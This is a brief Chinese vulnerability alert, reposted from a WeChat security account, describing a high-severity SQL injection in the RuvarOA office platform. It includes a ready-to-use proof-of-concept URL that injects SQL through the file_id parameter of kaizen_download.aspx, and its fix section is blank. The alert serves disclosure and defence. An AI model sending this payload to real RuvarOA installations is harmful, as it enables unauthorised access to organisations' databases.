-
暂无
-
高危
RuvarOA是由广州市璐华计算机科技有限公司开发的一款企业协同办公平台。该平台继承了传统OA产品的所有优秀特性,并在此基础上增加了更齐全的功能模块,极大地扩大了应用的覆盖面。
-
RuvarOA
0x05 POC
{{BaseUrl}}/CorporateCulture/kaizen_download.aspx?file_id=1%27%29%20and%20%28select%20sys.fn_varbintohexstr(hashbytes(%27MD5%27,%271%27))%29%3E0--
0x06 修复建议
原文始发于微信公众号(浅安安全):漏洞预警 | RuvarOA SQL注入漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论